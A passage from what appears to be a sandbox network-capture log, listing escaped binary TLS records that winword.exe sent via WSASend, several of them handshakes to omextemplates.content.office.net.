\x0f\\xb7\\xf3)w\\xc0\\xe4\\xa8\\x08\\xc8\\x85\\xf4=h\\xc7nw\"\\xacs+\\x850\\x88\"\\xdeuy\\x84\\xa9niw\\x95-z\\xef\\xda%e\\x11.\\xd8\\x16\\x17\\xd2\\xfc\\xae\\xef\\x08;\\xe1\\x97m\\xd3k\\xb9\\x16\\x04b\\x90(i%\\x1f$d\\xdd_f\\x1fj\n\\xd6\\xf3\\xfb\\xca"
  707.  
  708.  
  709. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04b\\xa3\\xc6\\xca;\\x07\\xe0\\xc5\\xe8\\xd6\\xc3\n\\xe8\\x9a\\xafun\\xcb\r\\xa5\\x98\\xf4\\xbf\\xbe\\xb8\\xc9%1;\\xd0\\xdf\\xc2\\xd1\\x16\\x82\\xcf\\x1d\\xd7\\x93\\xac\\x9d\\xb6\\xcf\\x1c=\\xfc\\x7f\\x961o\\x926aamx\\xfc\\x8d\\x05\\xebz\\xef\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe0>\\xd7\\x05m\\xaf\\x97\\xd5\\x9b\\xd5\\xfe\tj\\xf6\\x8f\\xb2~\\xe0y\\x83\\xf7\\x02\\x9f\\xa4,\\xfa\\xd0,')\\x11\\xbe\\xaa\\xdd-\\xdcd!\\xa5\\x8cd\\xd1\\xfa<\\x04z\\xe2."
  710.  
  711.  
  712. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xb0:\\xf3y;\\x83\\x8d\\x7f\\xd4\\x9e`p0\\xa7\\x91i\\xdd\\x9c\\xa7\\xda\\xc4\\x00\\xe8\\xdd\\x98\\xa1>\\xee\\x83\\xaa7\\x1dg\\xd1\\xfa\\x887g\\xe2+\\xee+\\xaa:\\xdfn\\x83\\xcdd\\xeam<\\xb3\\x7f\\xe6z\\x8e)\\xec\\xeae5\\x03\\xde\\xee\\xb5\\x01\\x80l\\xd9\\xcd\\xb9\\xf8\\xc6g\\xa0\\xc8\\x96q#k\\xb4\"<\\x1bt\\xa2\\x9az\\xdb\\x87\\xbet\\xcb\\x82+\\x02\\xd75\\xb8n\\xab#v#\\xffb\\xc3w\\xdegu\\x84!/$\\xd0\\x08\\xe1\\xe0\\xc5j&\\x14f\\xe6\\x07\\xdf\\xb9>\\x8d,\\xa7>s\\xf2\\x8c\\xa2k\\x1f\\xf9l\\xd6\\xd3\r\\xfc\\xd2\\x13\\x81\\x07\\xa4(v\\xac\\xba\\x00\\x14\\x92\\x1d\"\\x10\\xd0\\xa5\\x190\\xd27\\x0c.\\x9ek\\x04\\xbe\\xa6\\xa3\\x87p\\xe5\\xbbr\\xf3\\x92+\\x8aa\\x0c\\xa3\\xeb~\\x9c\\x99\\xd6\\xb2\\x9b\\xbc\\x86\\xa8\\xbc\\x83\\xbe\\xe7/\\x1d\\xb8\\xb2e\\x0f&\\xcb`*\\xc7se\\xcd\\xfd\\xce\\xaed2s:|\\xf9\\xc4\\xacq\\x89\\x81\\x8d\\x0e\\x1c\\xe3\\x8d\\x01\\x8f\\x81<\\xa2\\x0b2\\xba\\x8b\\xc5"
  713.  
  714.  
  715. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010y0\\x9d\\x954s\\x9e2\\xd1\\x00\\x88\\xb6\\xbc\\xebt\\xe0h'dt\\xda+\\x1b\"k\\x8c\\xbe\n\rw\\xa0\\x83\\x1c~\\xbbt\\x0b\\xfdd\\xba#c\\xef\\xa0\\xf5_\\xc8\\xd9\\x7f\\xe6mw\\x1b\\xce\\xd3\\xcd\\x9b\\xe8\\x10d\\xc6i\\x95n\\xaahk\\x0e\\xde\\x9e\\x85e`\\x84\\x909v0\\x1as\\x85\\xd9\\xfc\\xbd\\x1csc\\xe8\\xd9d\\xbc;\\x8b\\xab6u\\x1ey0\\xd7\r\\x92\\xcd\\xab\\xba\\x92\\xf9\\xe3l\\x0c\\xab\r\\x91\\xbbe\\xf0\\x1b\\xcey&8)3h\\xbf\\xad\\xaa\\xc2~\\xd4<\\xea\\xa6h\\xaa\\x9eh\\xe0)\\xc7@?\\xfa\\xbc\\xd7r\\xcb\\xa9\\xcd\\xa5m\\xf9a\\x88\\xb4\\xd3\\x00p\\x7f\\x90\\xa3\\x87%\\xf3\\xb8\\x95dj\\xfbg\\xf7j*^\\xff2\\xb5\\xe3z\\x91 \\xff\\xcd\\xd3\\x15\\xaea\\xbe:\\xf3#(\\xd8\\x0b\\xa4\\xec\\xc7\\xf5\\xdc\\xd7\\xdfo.!\\xc4(`\\x88\\x13\r\\xa2\\x7fn7t\\xf8cc\\xe7j\\x85\\xd7\\x07\\xd1g7^j\\xf6%\\xe6\\xb7\\x1f\\xdf\\xd9\\xf4\\x9aw\\xdb\\xb3\\xc5\\xe0 \\x07\\x03g<d\\x07"
  716.  
  717.  
  718. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xeb\\xca\\xe6'e<l\\x1fq\\x1e\\xac\\xef\\xfc\\xd4\\xc85\\xb0\\x08x\\xb3\\xc9\\x8c\\x0b8^\\x04z\\x05m\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  719.  
  720.  
  721. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xeb\\xa8\\xeb\\xfd\\xe0i3\\x8enxn\\xe3t\\xbd\\x13\\x80&wu\\xd9\\xee\\xc7\\xefrw\\x9f\\xf2\\xd4\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  722.  
  723.  
  724. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xebn\\x842\\xc9,mf\\x08\\x0f\\xb3\\x1e\\x0eic\\xd6(\\xe2\\xb5\\x089e\\xca$\"\\xa2\\xd9\\xb4\\x88\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  725.  
  726.  
  727. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xeb\\xe94\\xc8\\x00r\\x93\\xbc\\xd6<y\\xc8zh;\\xa8ut\\x80\\xff\\x93\\xf3>\\xc1\\xf8\\x85w\\xcc\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  728.  
  729.  
  730. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xeb\\xb0\\x80\\xfbf\\x15\\xf2\\x81yg\\xe2rc\\x04\\xff\\x88\\xf5(\\xc8\\x99\\x87\\xad\\xf6$0\\xe74\\xcf\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  731.  
  732.  
  733. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xeb:\\x18\\xfey\\xdc.\\xa7\\xe6\\xa5^r\\x00?\\xaf\\x95\\xdd\\xde5\\xf4|\\xbch\\xaf\\xfe\\xeba\\x86\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  734.  
  735.  
  736. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010h\\xf8\\xe1\\xca\\x92\\xbap3\\xc0d\\x8af>\\x89\\xfb\\xfe%^)\\xbao<eqd\\xf9\\xc3e\\x8cs\\xeaj\\x14,+\\xa61\\x8b\\xfe|\\xeaf8\\xcd\\x97\\xc0\\xe7\\x17o\\xa9\\xa1b\\xfbi\\xb9d\\xc6\\x87p\\xae+tgu\\xa2\\x05bb\\xf9p\\xf6\\x8c\\x9f\\x9a\\xcf\\xd2q+>)\\x93\\xe7_c\\x0e\\xa7\\x7f~p\\xd9\\xc1\\x04o\\x17u\\x126\\xda\\xdd\\xaf\\x16'\\x1f\\xfa9\\xe1\\xadefq\\x812\\xacq\\xe1\\xd52\\xde\\x88!\\xb4\\x9e\\xd6\\x1am\\x12\\xe4 gh9,\\x9ac\\xb9\\xe2v\\x92\\xf6\\x1fh\\x0e\\xb4\\xe2<\rf\\xbb\\xc6\\x91^\\x88\\x00\\x99\\x9f\\x1chb,\\xb8\\xf0\\xbfn\\xb5@\\xc8y\\xd8\\xa5\\x0fbg\\xaff\\x0b\\xa7?\\xbb\\xe6\\xee\\xbe\\xa12\\x0bb\\x0c\\xf0\\xc4\\xa7\\x02\\xc2p\\x9e\\x91\\xe5 \\xa9\\xd2\\xe6\\xb6\\xd0q|\\x14\\xf5\\xb0\\x97\\x92p\\xef<k\\xc3\\xd1|\\x07*s\\xbf\\xde\\xac\\xe8\\x00sy!\\xc8\\x7f\\x0ek\\xf8r\\x8bo\\x15)\\x86\t-\\x06\\xdd\\xe4k\\x0c\\xdd\\xae"
  737.  
  738.  
  739. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x042\\x9e-h\\xef\\xdf\\xb0?\\xe0l\\x80\\x1d8\\xcb\\xc4\\xe3\\xecmq\\xdd.\\xad\\xd0\\x92qb\\xca\\xfa\\x0c\\x81\\xa5<i\\xc1\\x7f'\\x0e\\xe3\\xe2\\x01\\xda\\x92\\xf4\\xb7sc6\\xd2\\x08/%\\xd9\\xf5\\x00l\\x12)\\x1a\n\\x85x\\xf9\\xad\\x0b\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xb7\\x04^\"\\x7f\\x90\\x1f\\xca,\\xbc\\xee\\xaa\\xb3\"\\xc6|4\\x19\\xe0\\x99d\\xdf7\\xf3-k\\x90\\xb4\\xf2\\x14\\xe9\\x112g\\xe8\\x8b\\xc9\\xcc\\xa7m<s\\xad\\xd3\\xbc\\xe2z"
  740.  
  741.  
  742. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04j\\x1boh\\xb7t5_\\x13r\\xc5\\xa5\\x8d\\xf8\\x06\\x95g\\xde\\0b\\xa3\\x8b\\x90'if`\\xcdx\\x86\\x80\\xfc\\x93\\xbc3\\xfd\\x0c\\xfdtb\\xc6+y\\x80\\x02\\x88o\\xd1mv\\xdd\\x93w\\xe0\\x9a\\xf4ko\\x7f\\xf5\\x00n\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xea\\x067&\\xddk\\xcciwf\\xbc\\xe4\\xe54~\\xee\\xc2=\\xe3h\\xedg\\xd4\\x9b+\\x05\\xe3\\xecy\\x16\\xe2\\xee,\\x07\\xb9\\x02\\x19'\\xb1z\\x85\\x98>d\\xf6\\x0b\\xe8#"
  743.  
  744.  
  745. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x10c\\xe8c\\x92\\xba\\xd6\\xbcjtp8\\x02\\xb5\\xf6\\x99\\xbf\\x80m\\x8cq\\x8d\\x92\\xf2\\xb8\\x91h\\x19v\\xac\\xfa\\xa7\\xfa\\x03\\xf2\\x0e\\xa0o\\x03\\x9b\\x85t`\\xfe\\x05\\xa2\\xd6\\x01\\x88\\xc1l\\xe9\\x9e&\\xe7\\xa9\\xa1\\xc0\\xc7\\x1e\\xd6\\xa6\\x7f\\xf8\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x01\\xc5\\xf0\\xc0\\xdd\\xc0\\xf3ah\\x15re-\\xfc\\xc8\\x93\\xf2\\xb1\\xc1 \\xca\\x017/\\xb8\\xbb\\xe4oyt\\x9d\\xd8\\xb7\\xf8t\\xdc9f\\xa0\n\\x19\\x0e\\x81\\xa7 x8"
  746.  
  747.  
  748. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xfa)\\\\xb1\\x99=\\xf2\\x8f\\xf8\\xda\\xdf\\x88a\\xd1\\x13&\\xe4\\xe2\\xb7j\\x86e5\\x03^&d\\x89i\\xb4)\\xfb\\xbbb\\x00\\x01\\x1e\\xcdu\\x9fz\\x0b\\xca\\x8d\\xa5\\xb8\\x9f_u\\xc4\\x03\\xb9\\xf1\\x1c\\xfdk\\x01\\x9a\\xd4\\xda\\xb6luh\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\\\xfb\\xb5\\xe7\\x07\\xa3@~\\x19i'\\x8d\\x07\\x02p>46y\\xbc\\x1d)6us\\x97.\\x1c\\x99q\\xf7\\xe5\\x95`7\\xc5\\xa1vj\\xef\\x00\\xc6\\x99\\x9bpg\\x8f"
  749.  
  750.  
  751. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xeai\\xeee-x\\x01eo\\x88\\xb0\\xa7\\x0c\\x8a\\xb1\r\\xbe\\xee\\xde1\\xb1\\xbb>\\xaa\\xf8\\xb4\\x15\\xab\\xd2\\xbb\\x14p\\x8e\\x0fh^\\xfe\\xe6\\xd3#%@\\x88s\\xd2qfa\\xb4\\xbc\\xc5\\x0b\\xbav\\xc4\\x00wf\\xb0\\xde3\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0006\t\\xa1j\\xcd\\xe3\\x8e7nnz76\\xfa\\x1b\\xaf\\x1d\\x96\\x83\\xca\"1\\x8c\\xe1/\\xe1\\xa4\\xef\\x05\\x03\\x0e\\xd4y\\xf8\\xfa ?n\\xd8\\\\xcf\\x8f\\xa1\\xfc\\xc2\\xbd\\x93\n"
  752.  
  753.  
  754. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xba0\\xb4\\x15@\\x80\\x93\\xbb\\xf1t\\x1f\\xa1\\xd3y\\xe2\\xcd\\x9dj\\xd7\\xa8\\xe7\\xc3n\\xe1y\\xcf\\x19r\\xf7ekn.\\x9f\\x8a\\xda\\xf7bn\\x9f0`\\xb8\\xcfo\\x9cq\\xbaw\\xa4z\\xee\\x1e\\xa8p\\xe7\\xd1_\\xd0\\x99\\xdf\\x8b\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000?g\\xean\\xe8o\\xa5\\x96\\x81iob\\xb2l\\xea\\x17\\x18g\\x7fv\\xe49\\xfc\\xd2_\\xfa\\x99\\x94y\\x90\\xeb\\x1cn0\\xe5uy\\xf5\\xad\\x03\\x15ec\\xf6c\\xfb\\x96\\x88"
  755.  
  756.  
  757. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xf4\\xdd\\xe4\\xa8ri\\xa4j\\x89o\\xfbl\\x10v\\xd5\\xc8|\\x18\\xb1\\xba0_m\\xa6\\x96px\\xf7!<u\\x12\\xbc\\x7fi\\x14\n\\x93\\xa0\\x0b\\x83\\xe0\\xcf\\xabl\\x1a\\xbb\\xd8u\\xa8\\xc7gb`\\x9dgm\\xd8\\xaf2r\\x1b\\xed\\x9d\\x9f\\xb7\\xd2\\xcdg\\xff\\x8f\\xd9\\xc6\\xe4)-\\x9d\\xe0\\x15\\h\\xab\\x0e5\\xa8\\xe9\\x164\\x92\\x0e@r\\x9b\\x00\\x97\\x9ag\\xf7\\xc06\\xc0r\\xda++\\xa1c\\x17g\\xb8\\x98\\xe0(\\xd2i\\x11\\x87r\\x9cf\\x8e\\x02\\xe5\\xee\\xb9t\\xfe\\x16^0\\x0f\\xc5\\x89\\xe2\\xe4xi\\xb3\\x1e3 #\\x1e=\\xef\\x18\\x83\\xb9@\\xae\\xf1\\xb8\\xc4k4ck\\xa77q\\xac\\xd3\\xf1#\\xe0\\xf5\\xfa4`\\xff`\\x07\\xd3t\\xc8a;z?\\xc3)g\\x14?\\xf8\\xf0\\xf5\\x9b\\x1et\\xffe\\x90\\xd9\\x9f\\xccu\\xa0\\xe3\\x8fh\\xe8\\xe8\\x1b\\xe2\\xecd\\xef\\x9c\\x89\\xd4\\xb8\\xa0\\x17\\xbc\\x16\\x92\\xecc\\x88\\xbd\\xa3\\xdc\\xf5\\xfa\\xdc\\x91ni+\\x89\\x82\\x02-\\xcfd>\\x1fx\\x19;\\x81g\\x8d\\x9e\\x9ft\\xea"
  758.  
  759.  
  760. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010;6y\\xfe\\x95\\xae6\\xf2\\x07\\x07\\x075w\\xf2m\\xc8j\\xf41\\x183\\x95\\xd47\\x8b\\xfe\\xd1k\\x9e\\xebx(\\xa7\\xa5sa\\xf5\"\\xd2m\\xd6li1,\\x14jl\\xbc\\xb2\\x9egx\\xc0\\xaaf\\xdf\\x1b\\xc6\\x9e\\xf1\\xce\\x0e(\\xee|l\\xcf=\\x8c\\x85\\xbc\\xfa\\xdaf\\xbb\\xa39\\xd2j\\x01sg\\x15\\xa6*\\xf3wd\\xc7l/\\xb9\\xda\\x03\\x1d;\\x9f\\xf5\\xbe\\x1a-\\x94co\\xfd\\xda\\xb2\\xca\\x068\\xe6\\xb9\\xab\\x19\\x0f\\x94\\x96\\xc4\\x92\\xf0f\\xdf\\x96\\x88\\xc6\\xd0,\\xfb\\xff\\x01\\xbf\\xe7\\x9a\\xa8\\xf8c<\\xe4\\xc3y/r\\x0e\\xecx\\xfa\\xe8\\xe1y\\xd5\\x01;>~i+o\\xc6\\x8fy\\x81\\xe6\\xe3\"j\\x85\\x13\nsu\\xabqul\\xf2>\\xba\\x94\\xc1y\t\\x00\\xb78\\xa0\\xce3\\x8d\\xed\\x8e\\x0b=?\\xcc\rw\\x17\\x1f\\xcau\\xd5/i\\xf2t%h\\x02\\xcf~\\x9f\\xcfc,\\xd0&v$a\\xe0\\x06\\xb6\\x16\\xc3u^\\xed%\\xca\\xad\\x9e\\x03e\\x82\\x08j\\xf1!\\x01\\x17\\;\\xef_\\x97\\xae"
  761.  
  762.  
  763. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x8e\\xef5\\xc8\\xd1t\\xde6\\xb7\t\\x0c\\xf0\\x15 \\x90\\xe0\\xad1\\xedsf+\\xf5%xgq\\x81\\x95\\xff\\x9c\\xf2\\x9d\\x11\\x02\\xc7\\xf2:\\xd3o\\x82k\\x18\r;\\x1f\\x86!\\x0e\\xbe\\x85\\xee\\xdf*\\x98?\\x90\\xbb\\xfa\\xe0\\xef<s=\\xfc\\xe5\\x05\\xcb\\xbe\\xd0\\xcf7\\xa8k;,\\xa2;\\xf9=\\xb1@\\x91\\xbb\\xfc\\xf5\\xb1\\xc2l\\xed\\x01t\\xf0j\\xb1\\xa6\\xc5\\x06\\xd16\\xd6\t\\xa4\\xe8\\xe2\\x06\\x8ez\\xe9%y\\x1d\\xaf>\\x8c\\xc5n2\\x94w\\xa3hc\\xac\\x1f\\xa0\\x12\\x8c\\x81f\\xa0|\\xf2a\\x84\\x9b\\xb7\\x1e\\x88h\\xbb<; \\xff\\xcd\\xdf\\x00\\x8a\\xc3\\xa4\\x8c\\xd0k\\xec\\xfcu\\x94l\\x12\\xe4\\x8b\\x84\\xa8\\x1ct\\xf4\\xa5\\xba\\x96s\\xf62\\xcb\\xea\\xa5\\xe6+b\\xb5\\x04\\xd4\\xcd;\\xa0\\xf4q\r\\xe4\\xee\\xf8\\xb1~\\xbb~\\xfen\\xae\\xd5d\\xcb\\xde\\x1f\\xb2\n\\xe8n\\xed\\xc3\\xe4\\xbd\\x93$\\xcf\\xcc\\x7fpv\\x00\\xf8\\xdb\n\\xaf\\xc3\\x08\\xb2\\x0f\\xe4\\x1f\\xac\\x8c\n\\xa8\\x1a\\x10\\x00\\xf8c\\xd1&\\xca6z\n\\x08\\xcax\\xfa"
  764.  
  765.  
  766. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x1d\\xa5tg\\xbdh\\x92`df\\x86\\xac%\\x96\\xae\\xe2\\x06l\\x98\\x11\\x81\\x84h\\xc6\rd\\xc6d0\\xd8*\\x19g\t\\xd9\\xa8l3\\x0e\\xe4\\xd1\\x90m\\xb32=\\x86\\x08\\x16i\\x80xd\\xee\\xd1\\x01\\xbc\\x97\\xb6(\\xf9\\xc2\\xd1\\x90.\\xd3z\\xaa\\x8e\\x90\\xab\\x83\\xfc\\xbctb\\x7f\\x18\\xb2\\xb3\\xacu\\xc5<\\xbff\\x83\\xa0\\x1fj\\x99x\\x03:\\xc5\\xa9.\\x04g(c\\xb9\\xf3\\xc7f\\xd1n\\xeay\\x19^\\xc4k\\x95\\xd1\\xe5\\x12\\xf0\\xe1g\\x9d\\xe8\\xe1\\xb4\\xe8\\xd9\\xa0d$\\x1c\\x024e\\x14f\\x18\\xa7\\x03\\x1e\\x16\\xb6\\xe5\\xfb\\xc3\\xf8\\xa6\\xcc\\x19\\xf0\\x11\\xcf\\xa9\\x96\\x89\\x8a\\x01\\x16\\xb85yny\\x06\\xf0\\x8aq\\xeb\n\\x8d\"s\\x0b\\xab\\xc0\\x86a\\x81\\xe9u\\xf1b\\x12\\xa6y\\x9b\\xef\\xa2>\\xd7\\x87-mjv?\\xae*\\x0f\\x8d\\x8f\\xe0\\x1fu\\xd8\\xd4\\xa1\\xff^!\\x05:\\x9b6\\x97\\x896^\\xb9ja\\xcf2\\x19b\\xda\\xc8\\x86dl\\x91\\xe3\\x02\\xd7\\x8e\\xa8n\\x01\\xeb\\xcd5\\x0b~\\xe7\\x89\\xe5\\x9e\\x1d-"
  767.  
  768.  
  769. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010<\\xdd\\x91\\x8a\\x9ac\\xd4\\x96'v\\xed\\xb6_v2\\xb2\\x05\\x91\\x086\\x93(\\xd2\\xd0\\x99\\x8a\\xb1du\\xe9\\xb6\\xeb\\xfc\\xb67\\x88\\xa58\"i\\xce\\x9dmu\t\\x8b\\x9d\\xa1k3\\x0b\\x16\\xac\\xf9!\\xbe\\x86\\xd1l&p0\\xfa vl\\x8bn\\xa2\\xf5\\x00\\x9ebrjy\\xdb-\\x99\\xea\\x04\\xdf\\x17\\xe4\\x86?+\\xae\tq9\\xb9\\x81h\\x10\\xd3w_g\\xdd\\xfb\\x82\\xb6\\xcb\\xf9\\xfc\\xacy\\xa2ep2\\x16\\x84`\\x82\\xc8\\xba\"\\xef\\xc2\\xaf\\xa1p\\xe44u:\\x87\\xd1\\x11\\xf9\\xdc\\x81#\\xd9\\xc9!\\x85\\xac\\x92&\\xdb\\x98\\x80\\x9b\\xf4\\xa8\\h\\xb7en\\xe2\\x9e\\xa8\\x16\\xc0\\xed\\xb18\\xa3~\\xf5\\x86/y\\xab\\xd7<w\\xe4\\x80\\x1c\\x97*b\\xedl\\x06\\xd1g\\xa9e\\xab\\xddk\\xea\\x81:\\xb3\\x0e\\xb0\\xd0x\\xc0u5y\\x9fa\\xe5i~\\xb9k8\\xdc\\xad\\xea\\x86\\xef*\\x8a\\\\x9c\\xb3(\\xbe\\xf0\\xa1\\xd6\\xa7\\xed\\xe3k\\xa6\\xd55\\xc4h\\xef\\x84\\x80\\x0e\\xf5r2\\x13ses=\\xd9\\xea+\\xbc"
  770.  
  771.  
  772. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x0e\\xccb\\xd3@\\x06ii\\xe7\\xdf\\xd7\\xe3f+\\x05_\"yr\\xbcvt\\xd5u1\\xf8\\x00j\r%\\xe1\\x90\\x15@~m\\x9b\\xdf.\\xf2a\\xe5\\x8e+8\\xd1\\x0c\\xa1\\x00\\x13\\xe0ix\\xd2\\xebw\\x89,t\\xc7f\\x16/\\x19gg\\x7f%a*\\x15\\x9a\\x91cz\\xa7\\x91\\x82\\x86\\xc4\\xd4_,\tgk\\\\x02\\x9f\\xdd=wh\\xf9d\\xa5\\x15id\\xa5\\x15\\xe1\\xae\\xb5\\xf9\\x9b\\xffs\\xa3\"y~m\\x9b;\\x93\\x92qor\\x03\\xd8\\xba\\xe7i\\xa2\\xe2\\xda\\xe6(p\\x15dd\\xd0\\x93\\x8e\\x90\\xf8\\xba\\x13\r\\xc8c\\xa3\\xd6z\t\\x01\\x91\\x1c@\\x8e\\xec\\xf1dhw\\xd8%\\xf8\\xfd\\xc8\\x9e0u\\xf8\\xb5\\xef\\xc9kbtu\\xac\\x8c\\xbb\\xd5\\xfbv\\xbf\\xa4\\xd1\\xab\\x1da\\xc5\\xf5l\\xca\\xa8\\x91\\xb8\\xc1m\\xca\\xa3\\xb3vu\\x08w\\x00\\xa7)\\xab\\x02nqb\\x86\\xdchf\\xef\\xf3g\\x98\\xc1\"\\xc2\\x13\\x19\\x99\\x89\np%\\x13\\xe7\\x11\\xf4azifj$hk\\x18\\xf5\\xa39~\\xf6z\\xf8\\xe8"
  773.  
  774.  
  775. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010i\\xa8>\\xaa\\x15\\x99\\xf9\\x04\\xb7v\\xfen\\x87\\x87\\xb7\\xc7\\xa5\\xac#\\xaf\\xf6 \n:\\x7f\\x04\r.\\xdb\\x1b\\x84\\xe6\\xb3_\\xb3y\\xcdsd\\x87\\xe4\\xabeb#\\xac\\xce\\xafsb7r\\x15\\x85>\\xa4\\x97\r\\x00p\\xbb\\xd0hlt\\x18\\x1d\\x7f\\x9d,w\\xe7^\\xc6\\xb2x\\x0e\\xd6\\xba\\xa5\\xbd\\xbd\\xed\\xfc7=\\xa8n0b-\\xba\\x17\\xd6\\xd5p\\xd6\\x15trq\\xb7\\x93\\x14\\x92\\x00\\x98\\x11\\xb78|p\\xdbwgk`g\\xb4?\\x10g\\xeai\\xd7ngf\\x15\\xb4\\xa5\\xff\"zh\\xb2\\xfc\\xfd\\xd2o\\xc0\r\\x97d\\x97'\\xa8\\xc8x\\x99v6\\xaf\\xf4\\x19\\xc4\\x16\nnr\\xf7l\\x87w\\xc9\\xff\\x82\\xc4\\xbb\\xb9\\xc7\\xf8\\xb7\\xd13u\\xces\\xc2\\xa1\\x83\\xbb3\\xc5\\xeb\\xb3\\x9a'pe\\x0e\\x8a\\xbd\\x96\\xbe\\x97l\\xb4\\xb8\\x18\\xa82\\xb3\\x05%\\xd2\\x80\\x88=/\\xbc\\xed\\xd9e&\\xf8\\xd4,\\x88\\xec\\xf5\\x1b\\x83<\\xaf\\xe8qj\\x84\\xde\\xb2\\xa86\\xaeo\\xc6s\\xb5\\x03\\xcf\\xd9\\x05g\\xa1\\xac\\x99\\xa4p\\x83"
  776.  
  777.  
  778. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010k\\x98\\x84\\x1c\\x16p\\x81\\xc6o@\\xa2\\xcd\\x9ddv\\xe8\\xe3\\xe8a\\xea\\xf2\\xf1\\xad\\xecr!x\\x99\\x9fe_\\xf4$+\\xdar\\x1c\\xab\\xa9\\x85\\xac\\x98\\xa0l\\xdc\\x07\\xff\\x80u\\xe26\\x8e\\xcci\\xf8\\xdd\\x04\\x1bg\\x06\\x93:d\\xdd\\\\xcd\\x10\\xdab\\xad\\x98\\xef55\\x07\\x9a\\xa7w^/\\xdc\\xa0\\xad\\xc7e\\x01y\\x1e\\xc1\\xf3\\xca\\xff\\xb5#nw\\x8f>\\x9b`\\x82~a\\x9e\\xce\\x11\\x11\\xa3\\xf1t\\xda\\xef\\xc4\\x1b\\x1a\t9!\\x84g4ls\\xdc\\xb4vs0x\\xbf\\xf1\\xa5\\xc5\\xfd\\xd7\r\\x07\\xea\\xbf\\x81\\xbb\\xfb\r\\xfe\\xe9\"\\xb